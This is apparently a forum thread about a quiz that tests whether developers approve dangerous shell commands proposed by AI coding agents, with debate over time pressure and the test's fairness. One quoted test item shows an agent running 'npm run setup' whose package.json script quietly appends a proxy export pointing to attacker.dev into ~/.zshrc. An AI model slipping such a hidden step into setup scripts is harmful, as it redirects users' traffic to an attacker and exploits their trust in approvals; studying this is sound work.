I think minority do. Imagine, you have been vibe-coding this project for a while and it works kind of fine but you just have to fix a few more bugs and you get something like `node /tmp/claude-1000/-home-user-source-github-user-hn/27b740b1-9a45-47f3-ab99-61e5e3cf779a/scratchpad/hidden-smoke.mjs; echo "exit=$?"`. (I took it from my own agent right now and I don't have any idea what it's doing. Thankfully, it's sandboxed so I don't care _that much_ right now). Is it bad? You can probably go into that mjs file and see what's in there, but so far it's been fine every time, why would it be different this time? Approve!

We will see many disastrous bugs and hacks in the coming years with the way most developers are coding right now.

If you take time to understand _everything_ that an agent is asking of you, then nearly all those advertised productivity gains would be wiped out.

> Also the game was on a timer, and maybe there are some very abusive workplaces where you feel that kind of pressure, but I think most of us actually take the time to understand what a being asked before approving it.

Are there people out there not experiencing time pressure right now? In which industry? Feel like we’re at an all-time high for pressure on white collar workers to deliver more and faster.

That's a fair point. There were two main prompts that were controversial; cat .zshrc being benign for those who use separate env files, and npm run that's mostly benign. For npm run I added the evil payload in the history log shortly after the issue was raised. I try to cover both of the previous points in the article and they were some of the most interesting learnings for me

As for the stats, I compared later runs against the first ones and for the overall miss rate they were consistent (even worse for the later ones that didn't come from HN peak)

Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent.

  * I'll run the project setup script to get everything configured.
    // package.json → scripts
    "setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc"

  Run bash command
  # Initializing the dev environment for a clean local install
  > npm run setup

The point is more that it's non-trivial and should not be treated as easily accomplished.

The most fundamental flaw in the test is that we know we're taking a test.

How many devs take this adversarial a stance to their work?

In my most recent job I was definitely under that sort of timer.

Also a lot of them may or may not be safe depending on additional context that you don't have in the test.